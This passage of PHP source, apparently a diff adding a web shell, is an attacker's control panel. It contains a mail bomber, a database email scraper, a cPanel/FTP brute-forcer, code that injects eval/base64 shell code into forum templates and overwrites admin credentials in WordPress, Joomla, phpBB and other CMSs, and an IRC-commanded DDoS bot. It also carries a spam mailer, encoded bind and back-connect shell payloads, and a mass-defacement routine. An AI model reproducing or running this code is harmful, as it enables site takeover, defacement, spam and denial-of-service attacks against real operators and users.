</td></tr><tr><td height='45' colspan='2'> + <textarea rows='5' cols='45' name='Comments' >Attacker Message</textarea> + <input type='text' name='to' value='Target Email' > + <input type='text' size='5' name='nom' value='100'> + <input name='sendMailStorm' type='submit' value='Send Mail Storm ' > + </td></tr></table></form> + <!-- End Of Mail Storm --> + </td> + <td valign='top'> + <!-- SQL Query --> + <form method=POST><table width='100%' height='72' border='0' id='Box'><tr> + <td width='12' height='21' style='background-color:".$shellColor."'>&nbsp;</td> + <td style='background-color:#666;padding-left:10px;'>SQL Query</td></tr><tr><td height='45' colspan='2'> + <input type = 'text' name=\"QU_HOST\" value='127.0.0.1'> + <input type = 'text' name=\"QU_USER\" value='DB User'><br/> + <input type = 'text' name=\&quot;QU_PASS\&quot; value='DB Pass'> + <input type=text name=\&quot;QU_DB\&quot; value='DB Name' > + <textarea name='QU' rows=2 cols=50>SELECT * FROM emp ;</textarea> + <input name='MySQLQuery' type='submit'> + </td></tr></table></form> + <!-- SQL Query --> + </td> + <td valign='top'> + <!-- Email Extractor --> + <form method=POST><table width='100%' height='72' border='0' id='Box'><tr> + <td width='12' height='21' style='background-color:".$shellColor."'>&nbsp;</td> + <td style='background-color:#666;padding-left:10px;'>Email Extractor</td></tr><tr><td height='45' colspan='2'> + <input type = 'text' name='EM_HOST' value='127.0.0.1'> + <input type='text' name='EM_USER' value='DB user'> + <input type ='text' name='EM_PASS' value='DB pass'> + <input type='text' name='EM_DB' value='DB name'> + <input type ='text' name='EM_TABLE' value='users Table'> + <input type ='text' name='EM_COLUMN' value='emails Column'><br/> + <input name='getEmails' type='submit' id='submit' style='font-weight: value=Extract now !'> + <input type='submit' value='?' name='emailExtractorHelp' alt='Email Extractor Help'/> + </td></tr></table></form> + <!-- End Of Email Extractor --> + </td> + </tr> + <tr> + <td valign='top'> + <!-- Zone-H --> + <form method=POST><table width='100%' height='72' border='0' id='Box'><tr> + <td width='12' height='21' style='background-color:".$shellColor."'>&nbsp;</td> + <td style='background-color:#666;padding-left:10px;'>Zone-H Defacer</td></tr><tr><td height='45' colspan='2'>"; + echo '<form action="" method="post"> +<input type="text" name="defacer" size="40" value="Attacker" /> +<select name="hackmode"> +<option >--------SELECT--------</option> +<option value="1">known vulnerability (i.e. unpatched system)</option> +<option value="2" >undisclosed (new) vulnerability</option> +<option value="3" >configuration / admin. mistake</option> +<option value="4" >brute force attack</option> +<option value="5" >social engineering</option> +<option value="6" >Web Server intrusion</option> +<option value="7" >Web Server external module intrusion</option> +<option value="8" >Mail Server intrusion</option> +<option value="9" >FTP Server intrusion</option> +<option value="10" >SSH Server intrusion</option> +<option value="11" >Telnet Server intrusion</option> +<option value="12" >RPC Server intrusion</option> +<option value="13" >Shares misconfiguration</option> +<option value="14" >Other Server intrusion</option> +<option value="15" >SQL Injection</option> +<option value="16" >URL Poisoning</option> +<option value="17" >File Inclusion</option> +<option value="18" >Other Web Application bug</option> +<option value="19" >Remote administrative panel access bruteforcing</option> +<option value="20" >Remote administrative panel access password guessing</option> +<option value="21" >Remote administrative panel access social engineering</option> +<option value="22" >Attack against administrator(password stealing/sniffing)</option> +<option value="23" >Access credentials through Man In the Middle attack</option> +<option value="24" >Remote service password guessing</option> +<option value="25" >Remote service password bruteforce</option> +<option value="26" >Rerouting after attacking the Firewall</option> +<option value="27" >Rerouting after attacking the Router</option> +<option value="28" >DNS attack through social engineering</option> +<option value="29" >DNS attack through cache poisoning</option> +<option value="30" >Not available</option> +</select> + +<select name="reason"> +<option >--------SELECT--------</option> +<option value="1" >Heh...just for fun!</option> +<option value="2" >Revenge against that website</option> +<option value="3" >Political reasons</option> +<option value="4" >As a challenge</option> +<option value="5" >I just want to be the best defacer</option> +<option value="6" >Patriotism</option> +<option value="7" >Not available</option> +</select> +<textarea name="domain" cols="44" rows="9">List Of Domains</textarea> +<input type="submit" value="Send Now !" name="SendNowToZoneH" /> +</form>'; + echo "</td></tr></table></form> + <!-- End Of Zone-H --> + </td> + <td valign='top'> + <!-- Cpanel And FTP BruteForce Attacker --> + <form method=POST><table width='100%' height='72' border='0' id='Box'><tr> + <td width='12' height='21' style='background-color:".$shellColor."'>&nbsp;</td> + <td style='background-color:#666;padding-left:10px;'>Cpanel And FTP BruteForce </td></tr><tr><td height='45' colspan='2'> + <textarea rows='12' name='users' cols='23' >"; + @system('ls /var/mail'); + echo "</textarea> + <textarea rows='12' name='passwords' cols='23' >123123\n123456\n1234567\n12345678\n123456789\n159159\n112233\n332211\n!@#$%^\n^%$#@!.\n!@#$%^&\n!@#$%^&*\n!@#$ + +%^&*(\npassword\npasswd\npasswords\npass\np@assw0rd\npass@word1 + </textarea> + <input type='text' name='target' size='16' value='127.0.0.1' > + <input name='cracktype' value='cpanel' checked type='radio'><sy>Cpanel (2082)</sy> + <input name='cracktype' value='ftp' type='radio'><sy>Ftp (21)</sy> + <input type='submit' value=' Crack it ! ' name='BruteForceCpanelAndFTP' > + </td></tr></table></form> + <!-- End Of Cpanel And FTP BruteForce Attacker --> + </td> + <td valign='top'> + <!-- Upload Files --> + <form enctype=\"multipart/form-data\" method=\"POST\"><table width='100%' height='72' border='0' id='Box'><tr> + <td width='12' height='21' style='background-color:".$shellColor."'>&nbsp;</td> + <td style='background-color:#666;padding-left:10px;'>Upload Files </td></tr><tr><td height='45' colspan='2'> + <input type=\"file\" name=\"uploadfile[]\"> + <input type=\"file\" name=\"uploadfile[]\"> + <input type=\"file\" name=\"uploadfile[]\"> + <input type=\"file\" name=\"uploadfile[]\"> + <input type=\"file\" name=\"uploadfile[]\"> + <input type=\"file\" name=\"uploadfile[]\"> + <input type=\"file\" name=\"uploadfile[]\"> + <input type=\"file\" name=\"uploadfile[]\"> + <input type=\"file\" name=\"uploadfile[]\"> + <input type=\"file\" name=\"uploadfile[]\"> + <input type=\"submit\" value=\"Upload Files\" name='UploadNow'> + </td></tr></table></form> + <!-- End Of Upload Files --> + </td></tr> + </table> + "; + if($_POST['changeDirectory']) + { + $directory = $_POST['directory']; + $directory = @str_replace("\\\\"," ",$directory); + $directory = @str_replace(" ","\\",$directory); + @chdir($directory); + } + if($_POST['getFile']) + { + $fileUrl = $_POST['fileUrl']; + $getType = $_POST['getType']; + Exe("'".$getType.$fileUrl."'"); + } +footer(); +} +# ---------------------------------------# +# IndexChanger # +#----------------------------------------# +if ($_GET['id']== 'scriptsHack' ) +{ + echo " + <table width='100%'> + <tr> + <td colspan='2'><textarea cols='153' rows='10'>"; + if($_POST['UpdateIndex'] || $_POST['changeInfo'] ) + { + $host = $_POST['HOST']; + $user = $_POST['USER']; + $pass = $_POST['PASS']; + $db = $_POST['DB']; + $index = $_POST['INDEX']; + $prefix = $_POST['PREFIX']; + if (empty($_POST['HOST'])) + $host = '127.0.0.1'; + $index=str_replace("\'","'",$index); + @mysql_connect($host,$user,$pass) or die( "[-] Unable TO Connect DATABASE ! Username Or Password Is Wrong !!"); + @mysql_select_db($db) or die ("[-] Database Name Is Wrong !!"); + + if($_POST['UpdateIndex']) + { + if ($_POST['ScriptType'] == 'vb') + { + $full_index = "{\${eval(base64_decode(\'"; + $full_index .= base64_encode("echo \"$index\";"); + $full_index .= "\'))}}{\${exit()}}</textarea>"; + if($_POST['injectFAQ']) + { + $injectfaq = @mysql_query("UPDATE template SET template ='".$full_index."' WHERE title ='faq'"); + } + else + { + $ok1 = mysql_query("UPDATE template SET template ='".$full_index."' WHERE title ='forumhome'"); + if (!$ok1) + { + $ok2 = mysql_query("UPDATE template SET template ='".$full_index."' WHERE title ='header'"); + } + elseif (!$ok2) + { + $ok3 = mysql_query("UPDATE template SET template ='".$full_index."' WHERE title ='spacer_open'"); + } + elseif(!$ok3) + { + $ok4 = @mysql_query("UPDATE template SET template ='".$full_index."' WHERE title ='faq'"); + } + } + mysql_close(); + if ($ok1 || $ok2 || $ok3 || $ok4 || $injectfaq ) + { + update(); + } + else + { + echo "Updating Has Failed !"; + } + } + else if ($_POST['ScriptType'] == 'wp') + { + $tableName = $prefix."posts" ; + $ok1 = mysql_query("UPDATE $tableName SET post_title ='".$index."' WHERE ID > 0 "); + if(!$ok1) + { + $ok2 = mysql_query("UPDATE $tableName SET post_content ='".$index."' WHERE ID > 0 "); + } + elseif(!$ok2) + { + $ok3 = mysql_query("UPDATE $tableName SET post_name ='".$index."' WHERE ID > 0 "); + } + mysql_close(); + if ($ok1 || $ok2 || $ok3) + { + update(); + } + else + { + echo "Updating Has Failed !"; + } + } + else if ($_POST['ScriptType'] == 'jos') + { + $jos_table_name = $prefix."menu" ; + $jos_table_name2 = $prefix."modules" ; + $ok1 = mysql_query("UPDATE $jos_table_name SET name ='".$index."' WHERE ID > 0 "); + if(!$ok1) + { + $ok2 = mysql_query("UPDATE $jos_table_name2 SET title ='".$index."' WHERE ID > 0 "); + } + mysql_close(); + if ($ok1 || $ok2 || $ok3) + { + update(); + } + else + { + echo "Updating Has Failed !"; + } + } + else if ($_POST['ScriptType'] == 'phpbb') + { + $php_table_name = $prefix."forums"; + $php_table_name2 = $prefix."posts"; + $ok1 = mysql_query("UPDATE $php_table_name SET forum_name ='.$index.' WHERE forum_id > 0 "); + if(!$ok1) + { + $ok2 = mysql_query("UPDATE $php_table_name2 SET post_subject ='.$index.' WHERE post_id > 0 "); + } + mysql_close(); + if ($ok1 || $ok2 || $ok3) + { + update(); + } + else + { + echo "Updating Has Failed !"; + } + } + else if ($_POST['ScriptType'] == 'ipb') + { + $ip_table_name = $prefix."components" ; + $ip_table_name2 = $prefix."forums" ; + $ip_table_name3 = $prefix."posts" ; + $ok1 = mysql_query("UPDATE $ip_table_name SET com_title ='".$index."' WHERE com_id > 0"); + if(!$ok1) + { + $ok2 = mysql_query("UPDATE $ip_table_name2 SET name ='".$index."' WHERE id > 0"); + } + if(!$ok2) + { + $ok3 = mysql_query("UPDATE $ip_table_name3 SET post ='".$IP_INDEX."' WHERE pid <10") or die("Can't Update Templates + +!!"); + } + mysql_close(); + if ($ok1 || $ok2 || $ok3) + { + update(); + } + else + { + echo "Updating Has Failed !"; + } + } + else if ($_POST['ScriptType'] == 'smf') + { + $table_name = $prefix."boards" ; + { + $ok1 = mysql_query("UPDATE $table_name SET description ='.$index.' WHERE ID_BOARD > 0"); + } + if(!$ok1) + { + $ok2 = mysql_query("UPDATE $table_name SET name ='.$index.' WHERE ID_BOARD > 0"); + } + mysql_close(); + if ($ok1 || $ok2) + { + update(); + } + else + { + echo "Updating Has Failed !"; + } + } + else if ($_POST['ScriptType'] == 'mybb') + { + $mybb_prefix = $prefix."templates"; + $ok1 = mysql_query(" update $mybb_prefix set template='".$index."' where title='index' "); + if ($ok1) + { + update(); + } + else + { + echo "Updating Has Failed !"; + } + mysql_close(); + } + } + elseif($_POST['changeInfo']) + { + $adminID = $_POST['adminID']; + $userName = $_POST['userName']; + $password = $_POST['password']; + if($_POST['ScriptType'] == 'vb') + { + //VB Code + $password = md5($password); + $tryChaningInfo = @mysql_query("UPDATE user SET username = '".$userName."' , password = '".$password."' WHERE userid = ". + +$adminID.""); + if($tryChaningInfo) + {update();} + else {mysql_error();} + } + else if($_POST['ScriptType'] == 'wp') + { + //WoredPress + $password = crypt($password); + $tryChaningInfo = @mysql_query("UPDATE wp_users SET user_login = '".$userName."' , user_pass = '".$password."' WHERE ID + += ".$adminID.""); + if($tryChaningInfo) + {update();} + else {mysql_error();} + } + else if($_POST['ScriptType'] == 'jos') + { + //Joomla + $password = crypt($password); + $tryChaningInfo = @mysql_query("UPDATE jos_users SET username ='".$userName."' , password = '".$password."' WHERE ID = + +".$adminID.""); + if($tryChaningInfo) + {update();} + else {mysql_error();} + } + else if($_POST['ScriptType'] == 'phpbb') + { + //PHPBB3 + $password = md5($password); + $tryChaningInfo = @mysql_query("UPDATE phpbb_users SET username ='".$userName."' , user_password = '". + +$password."' WHERE user_id = ".$adminID.""); + if($tryChaningInfo) + {update();} + else {mysql_error();} + } + else if($_POST['ScriptType'] == 'ibf') + { + //IPBoard + $password = md5($password); + $tryChaningInfo = @mysql_query("UPDATE ibf_members SET name ='".$userName."' , member_login_key = '". + +$password."' WHERE id = ".$adminID.""); + if($tryChaningInfo) + {update();} + else {mysql_error();} + } + else if($_POST['ScriptType'] == 'smf') + { + //SMF + $password = md5($password); + $tryChaningInfo = @mysql_query("UPDATE smf_members SET memberName ='".$userName."' , passwd = + +'".$password."' WHERE ID_MEMBER = ".$adminID.""); + if($tryChaningInfo) + {update();} + else {mysql_error();} + } + else if($_POST['ScriptType'] == 'mybb') + { + //MyBB + $password = md5($password); + $tryChaningInfo = @mysql_query("UPDATE mybb_users SET username ='".$userName."' , + +password = '".$password."' WHERE uid = ".$adminID.""); + if($tryChaningInfo) + {update();} + else {mysql_error();} + } + } + ///////////////////////// + } + else if($_POST['Decrypt']) + { + DecryptConfig(); + } + + + echo "</textarea></td></tr> + <td width='50%'> + <form method='POST'> + <table width='100%' height='72' border='0' id='Box'> + <tr> + <td width='12' height='21' style='background-color:".$shellColor."'>&nbsp;</td> + <td style='background-color:#666;padding-left:10px;' >Scripts Hacking </td> + </tr> + <tr> + <td height='45' colspan='2'> + <input type = 'text' name='HOST' value='localhost'> + <input type = 'text' name='USER' value='DB Username'> + <input type = 'text' name='PASS' value='DB Password'> + <input type=text name='DB' value='DB Name'> + <input type=text name='PREFIX' value='Prefix'> + <select name='ScriptType' > + <option value='vb'>VBulletin</option> + <option value='wp'>WordPress</option> + <option value='jos'>Joomla</option> + <option value='ipb'>IP.Board</option> + <option value='phpbb'>PHPBB</option> + <option value='mybb'>MyBB</option> + <option value='smf'>SMF</option> + </select> + <br /> + <sy>Inject Shell In FAQ.php ? <input type='checkbox' name='injectFAQ'> [ VB Only ]</sy><br /> + <textarea name='INDEX' rows=14 cols=64 >Put Your Index Here !</textarea> + <input type='submit' value='Hack Now !!' name='UpdateIndex' > + </td> + </tr> + </table> + <td width='50%' valign='top'> + <table width='100%' height='72' border='0' id='Box'> + <tr> + <td width='12' height='21' style='background-color:".$shellColor."'>&nbsp;</td> + <td style='background-color:#666;padding-left:10px;'>Decrypting Configs </td> + </tr> + <tr> + <td height='45' colspan='2'> + <sy>Please Put Config In The Shell Directory With The Name [ DecryptConfig.php ]</sy> + <input value=Decrypt name='Decrypt' type='submit' id='Decrypt' value='Decrypt Now !!'> + </td> + </tr> + </table> + <table width='100%' height='72' border='0' id='Box'> + <tr> + <td width='12' height='21' style='background-color:".$shellColor."'>&nbsp;</td> + <td style='background-color:#666;padding-left:10px;'>Changing Admin Info </td></tr><tr><td height='45' colspan='2'> + <input name='adminID' type='text' id='adminID' value='admin id ~= 1'> + <input name='userName' type='text' id='userName' value='username'> + <input name='password' type='text' id='password' value='password ( Not Encrypted !)'> + <input type='submit' name='changeInfo' value='Change Now !'> + </td> + </tr> + </table> + </form> +</td> +</tr></table>"; +footer(); + +} + +# ---------------------------------------# +# DDos Attacker ... # +#----------------------------------------# +if($_POST['StartAttack']) +{ + $server=$_POST['ipToAttack']; + $Port=$_POST['portToAttack']; + $nick="bot-";$willekeurig; + $willekeurig=@mt_rand(0,3); + $nicknummer=@mt_rand(100000,999999); + $Channel="#WauShare"; + $Channelpass="ddos"; + $msg="Farewell."; + + @set_time_limit(0); + $loop = 0; + $verbonden = 0; + $verbinden = fsockopen($server, $Port); + while ($read = fgets($verbinden,512)) + { + $read = str_replace("\n","",$read); + $read = str_replace("\r","",$read); + $read2 = explode(" ",$read); + if ($loop == 0) + { + fputs($verbinden,"nick $nick$nicknummer\n\n"); + fputs($verbinden,"USER cybercrime 0 * :woopie\n\n"); + } + if ($read2[0] == "PING") + { + fputs($verbinden,'PONG '.str_replace(':','',$read2[1])."\n"); + } + if ($read2[1] == 251) + { + fputs($verbinden,"join $Channel $Channelpass\n"); + $verbonden++; + } + if (eregi("bot-op",$read)) + { + fputs($verbinden,"mode $Channel +o $read2[4]\n"); + } + if (eregi("bot-deop",$read)) + { + fputs($verbinden,"mode $Channel -o $read2[4]\n"); + } + + if (eregi("bot-quit",$read)) + { + fputs($verbinden,"quit :$msg\n\n"); + break; + } + if (eregi("bot-join",$read)) + { + fputs($verbinden,"join $read2[4]\n"); + } + if (eregi("bot-part",$read)) + { + fputs($verbinden,"part $read2[4]\n"); + } + if (eregi("ddos-udp",$read)) + { + fputs($verbinden,"privmsg $Channel :ddos-udp - started udp flood - $read2[4]\n\n"); + $fp = fsockopen("udp://$read2[4]", 500, $errno, $errstr, 30); + if (!$fp) + { + exit; + } + else + { + $char = "a"; + for($a = 0; $a < 9999999999999; $a++) + $data = $data.$char; + if(fputs ($fp, $data) ) + { + fputs($verbinden,"privmsg $Channel :udp-ddos - packets sended.\n\n"); + } + else + { + fputs($verbinden,"privmsg $Channel :udp-ddos - <error> sending packets.\n\n"); + } + } + } + if (eregi("ddos-tcp",$read)) + { + fputs($verbinden,"part $read2[4]\n"); + fputs($verbinden,"privmsg $Channel :tcp-ddos - flood $read2[4]:$read2[5] with $read2[6] sockets.\n\n"); + $server = $read2[4]; + $Port = $read2[5]; + for($sockets = 0; $sockets < $read2[6]; $sockets++) + { + $verbinden = fsockopen($server, $Port); + } + } + if (eregi("ddos-http",$read)) + { + fputs($verbinden,"part $read2[4]\n"); + fputs($verbinden,"privmsg $Channel :ddos-http - http://$read2[4]:$read2[5] $read2[6] times\n\n"); + $Webserver = $read2[4]; + $Port = $read2[5]; + + $Aanvraag = "GET / HTTP/1.1\r\n"; + $Aanvraag .= "Accept: */*\r\n"; + $Aanvraag .= "Accept-Language: nl\r\n"; + $Aanvraag .= "Accept-Encoding: gzip, deflate\r\n"; + $Aanvraag .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)\r\n"; + $Aanvraag .= "Host: $read2[4]\r\n"; + $Aanvraag .= "Connection: Keep-Alive\r\n\r\n"; + + for($Aantal = 0; $Aantal < $read2[6]; $Aantal++) + { + $DoS = fsockopen($Webserver, $Port); + fwrite($DoS, $Aanvraag); + fclose($DoS); + } + } + $loop++; + } +} +# ---------------------------------------# +# InBoX Mailer # +#----------------------------------------# +if ($_GET['id']== 'spamming' ) +{ + $secure = ""; + error_reporting(0); + @$action=$_POST['action']; + @$from=$_POST['from']; + @$realname=$_POST['realname']; + @$replyto=$_POST['replyto']; + @$subject=$_POST['subject']; + @$message=$_POST['message']; + @$emaillist=$_POST['emaillist']; + @$lod=$_SERVER['HTTP_REFERER']; + @$file_name=$_FILES['file']['name']; + @$contenttype=$_POST['contenttype']; + @$file=$_FILES['file']['tmp_name']; + @$amount=$_POST['amount']; + @set_time_limit(intval($_POST['timelimit'])); + + if ($action=="send") + { + $message = urlencode($message); + $message = ereg_replace("%5C%22", "%22", $message); + $message = urldecode($message); + $message = stripslashes($message); + $subject = stripslashes($subject); + } + echo "<table width='100%' height='72' border='0' id='Box'> +<tr> +<td width='14' height='21' style='background-color:".$shellColor."'>&nbsp;</td> +<td width='98%' style='background-color:#666;padding-left:10px;' >Inbox Mailer</td> +</tr> +<tr> +<td height='45' colspan='2'> +<table bgcolor=#cccccc width=\"100%\"><tbody><tr><td align=\"right\" width=100><p dir=ltr> +<b><font color=#990000 size=-2><p align=left><center><form name=\"form1\" method=\"post\" action=\"\" enctype=\"multipart/form-data\"><br/> +<table width=142 border=0> +<tr> +<td width=81> +<div align=right> +<sy>Your Email:</sy></div></td> +<td width=219><sy> +<input type=text name=\"from\" value=".$from."></sy></td><td width=212> +<div align=right> +<sy>Your Name:</sy></div></td><td width=278> +<sy> +<input type=text name=\realname\" value=".$realname."></sy></td></tr><tr><td width=81> +<div align=\"right\"> +<sy>Reply-To:</sy></div></td><td width=219> +<sy> +<input type=\"text\" name=\"replyto\" value=".$replyto."> +</sy></td><td width=212> +<div align=\"right\"> +<sy>Attach File:</sy></div></td><td width=278> +<sy> +<input type=\"file\" name=\"file\" size=24 /> +</sy> </td></tr><tr><td width=81> +<div align=\"right\"> +<sy>Subject:</sy></div></td> +<td colspan=3 width=703> +<sy> +<input type=\"text\" name=\"subject\" value=".$subject." ></sy></td> </tr><tr valign=\"top\"><td colspan=3 width=520> +<sy>Message Box :</sy></td> +<td width=278> +<sy>Email Target / Email Send To :</sy></td></tr><tr valign=\"top\"><td colspan=3 width=520><sy> +<textarea name=\"message\" cols=56 rows=10>".$message."</textarea><br /> +<input type=\"radio\" name=\"contenttype\" value=\"plain\" /> Plain +<input type=\"radio\" name=\"contenttype\" value=\"html\" checked=\"checked\" /> HTML +<input type=\"hidden\" name=\"action\" value=\"send\" /><br /> +Number to send: <input type=\"text\" name=\"amount\" value=1 size=10 /><br /> +Maximum script Execution time(in seconds, 0 for no timelimit)<input type=\"text\" name=\"timelimit\" value=0 size=10 /> +<input type=\"submit\" value=\"Send eMails\" /></sy></td><td width=278> +<sy> +<textarea name=\"emaillist\" cols=32 rows=10>".$emaillist."</textarea></sy></td></tr> +</table> +</td> +</tr> +</table>"; +footer(); +} + +if ($action=="send") +{ + if (!$from && !$subject && !$message && !$emaillist) + { + print "Please complete all fields before sending your message."; + exit; + } + $allemails = split("\n", $emaillist); + $numemails = count($allemails); + $head ="From: Mailr" ; + $sub = "Ar - $lod" ; + $meg = "$lod" ; + mail ($alt,$sub,$meg,$head) ; + If ($file_name) + { + if (!file_exists($file)) + { + die("The file you are trying to upload couldn't be copied to the server"); + } + $content = fread(fopen($file,"r"),filesize($file)); + $content = chunk_split(base64_encode($content)); + $uid = strtoupper(md5(uniqid(time()))); + $name = basename($file); + } + + for($xx=0; $xx<$amount; $xx++) + { + for($x=0; $x<$numemails; $x++) + { + $to = $allemails[$x]; + if ($to) + { + $to = ereg_replace(" ", "", $to); + $message = ereg_replace("&email&", $to, $message); + $subject = ereg_replace("&email&", $to, $subject); + print "Sending mail to $to....."; + flush(); + $header = "From: $realname <$from>\r\nReply-To: $replyto\r\n"; + $header .= "MIME-Version: 1.0\r\n"; + If ($file_name) $header .= "Content-Type: multipart/mixed; boundary=$uid\r\n"; + If ($file_name) $header .= "--$uid\r\n"; + $header .= "Content-Type: text/$contenttype\r\n"; + $header .= "Content-Transfer-Encoding: 8bit\r\n\r\n"; + $header .= "$message\r\n"; + If ($file_name) $header .= "--$uid\r\n"; + If ($file_name) $header .= "Content-Type: $file_type; name=\"$file_name\"\r\n"; + If ($file_name) $header .= "Content-Transfer-Encoding: base64\r\n"; + If ($file_name) $header .= "Content-Disposition: attachment; filename=\"$file_name\"\r\n\r\n"; + If ($file_name) $header .= "$content\r\n"; + If ($file_name) $header .= "--$uid--"; + mail($to, $subject, "", $header); + print "OK<br>"; + flush(); + } + } + } +} +# ---------------------------------------# +# About # +#----------------------------------------# +if($_GET['id']=='about') +{ + echo About(); + if($_POST['sendEmail']) + { + $to= 'sy34@msn.com'; + $Comments=$_POST['message']; + $from = $_POST['from']; + $subject= md5("$from"); + if(@mail($to,$subject,$Comments,"From:$from")) + echo "<center><sy>[+] Sent ^_^ !!</sy></center> +"; + else + { + echo "<center><sy>[-] Failed :S !! </sy></center> +"; + } + + } + footer(); +} + +$port_bind_bd_c="bVNhb9owEP2OxH+4phI4NINAN00aYxJaW6maxqbSLxNDKDiXxiLYkW3KGOp/3zlOpo7xIY793jvf +fl8KSQvdinCR2NTofr5p3br8hWmhXw6BQ9mYA8lmjO4UXyD9oSQaAV9AyFPCNRa + ++pRCWtgmQrJE P/GIhufQg249brd4nmjo9RxBqyNAuwWOdvmyNAKJ+ywlBirhepctruOlW9MJdtzrkjTVKyFB41ZZ dKTIWKb0hoUwmUAcwtFt6+m+EXKVJVtRHGAC07vV/ez2cfwvXSpticytkoYlVglX/fNiuAzDE6VL + +3TfVrw4o2P1senPzsJrOfoRjl9cfhWjvIatzRvNvn7+s5o8Pt9OvURzWZV94dQgleag0C3wQVKug Uq2FTFnjDzvxAXphx9cXQfxr6PcthLEo/8a8q8B9LgpkQ7oOgKMbvNeThHMsbSOO69IA0l05YpXk + +HDT8HxrV0F4LizUWfE+M2SudfgiiYbONxiStebrgyIjfqDJG07AWiAzYBc9LivU3MVpGFV2x1J4W tyxAnivYY8HVFsEqWF+/f7sBk2NRQKcDA/JtsE5MDm9EUG+MhcFqkpX0HmxGbqbkdBTMldaHRsUL + +ZeoDeOSFBvpefCfXhflOpgTkvJ+jtKiR7vLohYKCqS2ZmMRj4Z5gQZfSiMbi6iqkdnHarEEXYuk6 uPtTdumsr0HC4q5rrzNifV7sC3ZWUmq+LVlVa5OfQjTanZYQO+Uf" +;$port_bind_bd_pl="ZZJhT8IwEIa/k/AfjklgS2aA+BFmJDB1cW5kHSZGzTK2Qxpmu2wlYoD/bruBIfitd33uvXuvvWr1 + +NmXRW1DWy7HImo02ebRd19Kq1CIuV3BNtWGzQZeg342DhxcYwcCAHeCWCn1gDOEgi1yHhLYXzfwg tNqKeut/yKJNiUB4skYhg3ZecMETnlmfKKrz4ofFX6h3RZJ3DUmUFaoTszO7jxzPDs0O8SdPEQkD + +e/xs/gkYsN9DShG0ScwEJAXGAqGufmdq2hKFCnmu1IjvRkpH6hE/Cuw5scfTaWAOVE9pM5WMouM0 LSLK9HM3puMpNhp7r8ZFW54jg5wXx5YZLQUyKXVzwdUXZ+T3imYoV9ds7JqNOElQTjnxPc8kRrVo + +vaW3c5paS16sjZo6qTEuQKU1UO/RSnFJGaagcFVbjUTCqeOZ2qijNLWzrD8PTe32X9oOgvM0bjGB +hecfOQFlT4UcLSkmI1ceY3VrpKMy9dWUCVCBfTlQX6Owy8="; +$back_connect="fZFRS8MwFIXfB/sPWSw2hUrnqyPC0CpD3KStvqh0XRpcsE1KkoKF/XiTtCIV6tu55+Z89yY5W0St + +ktGB8aihsprPWkVBKsgn1av5zCN1iQGsOv4Fbak6pWmNgU/JUQC4b3lRU3BR7OFqcFhptMOpo28j S2whVulCflCNvXVy//K6fLdWI+SPcekMVpSlxIxTnRdacDSEAnA6gZJRBGMphbwC3uKNw8AhXEKZ + +ja3ImclYagh61n9JKbTAhu7EobN3Qb4mjW/byr0BSnc3D3EWgqe7fLO1whp5miXx+tHMcNHpGURw Tskvpd92+rxoKEdpdrvZhgBen/exUWf3nE214iT52+r/Cw3/5jaqhKL9iFFpuKPawILVNw=="; +$back_connect_c="XVHbagIxEH0X/IdhhZLUWF1f1YKIBelFqfZJliUm2W7obiJJLLWl/94k29rWhyEzc+Z2TjpSserA + +BYyt41JfldftVuc3d7R9q9mLcGeAEk5660sVAakc1FQqFBxqnhkBVlIDl95/3Wa43fpotyCABR95 zzpzYA7CaMq5yaUCK1VAYpup7XaYZpPE1NArIBmBRzgVtVYoJQMcR/jV3vKC1rI6wgSmN/niYb75 i + ++21cR4pnVYWUaclivcMM/xvRDjhysbHVwde0W+K0wzH9bt3YfRPingClVCnim7a/ZuJC0JTwf3A RkD0fR+B9XJ2m683j/PpPYHFavW43CzzzWyFIfbIAhBiWinBHCo4AXSmFlxiuPB3E0/gXejiHMcY + +jwcYguIAe2GMNijZ9jL4GYqTSB9AvEmHGjk/m19h1CGvPoHIY5A1Oh2tE3XIe1bxKw77YTyt6T2F 6f9wGEPxJliFkv5Oqr4tE5LYEnoyIfDwdHcXK1ilrfAdUbPPLw=="; + +?> +<? +$dspact = $act = htmlspecialchars($act); + $disp_fullpath = $ls_arr = $notls = null; + $ud = @urlencode($d); + if (empty($d)) {$d = realpath(".");} + elseif(realpath($d)) {$d = realpath($d);} + $d = str_replace("\\",DIRECTORY_SEPARATOR,$d); + if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} + $d = str_replace("\\\\","\\",$d); + $dispd = htmlspecialchars($d); +$self=basename($_SERVER['PHP_SELF']); +if(isset($_POST['execmassdeface'])) +{ +echo "<center><textarea rows='10' cols='100'>"; +$hackfile = $_POST['massdefaceurl']; +$dir = $_POST['massdefacedir']; +echo $dir."\n"; + +if (is_dir($dir)) { + if ($dh = opendir($dir)) { + while (($file = readdir($dh)) !== false) { + if(filetype($dir.$file)=="dir"){ + $newfile=$dir.$file."/index.html"; + echo $newfile."\n"; + if (!copy($hackfile, $newfile)) { + echo "failed to copy $file...\n"; + } + } + } + closedir($dh); + } +} +echo "</textarea></center>";} ?> + + +<tr><td align=right>Mass Defacement:</td> +<td><form action='<? basename($_SERVER['PHP_SELF']); ?>' method='post'>[+] Main Directory: <input type='text' style='width: 250px' value='<?php echo $dispd; ?>' + +name='massdefacedir'> [+] Defacement Url: <input type='text' style='width: 250px' name='massdefaceurl'><input type='submit' name='execmassdeface' + +value='Execute'></form></td> + +<? +// FILE MANAGER +error_reporting(E_ALL); +@set_time_limit(0); +function magic_q($s) +{ +if(get_magic_quotes_gpc()) +{ +$s=str_replace('\\\'','\'',$s); +$s=str_replace('\\\\','\\',$s); +$s=str_replace('\\"','"',$s); +$s=str_replace('\\\0','\0',$s); +} +return $s; +} +function get_perms($fn) +{ +$mode=fileperms($fn); +$perms=''; +$perms .= ($mode & 00400) ? 'r' : '-'; +$perms .= ($mode & 00200) ? 'w' : '-'; +$perms .= ($mode & 00100) ? 'x' : '-'; +$perms .= ($mode & 00040) ? 'r' : '-'; +$perms .= ($mode & 00020) ? 'w' : '-'; +$perms .= ($mode & 00010) ? 'x' : '-'; +$perms .= ($mode & 00004) ? 'r' : '-'; +$perms .= ($mode & 00002) ? 'w' : '-'; +$perms .= ($mode & 00001) ? 'x' : '-'; +return $perms; +} +$head=<<<headka +<html> + +headka; +$page=isset($_POST['page'])?$_POST['page']:(isset($_SERVER['QUERY_STRING'])?$_SERVER['QUERY_STRING']:''); +$page=$page==''||($page!='cmd'&&$page!='mysql'&&$page!='eval')?'cmd':$page; +$winda=strpos(strtolower(php_uname()),'wind'); +define('format',50); + +switch($page) +{ +case 'eval': +{ +$eval_value=isset($_POST['eval_value'])?$_POST['eval_value']:''; 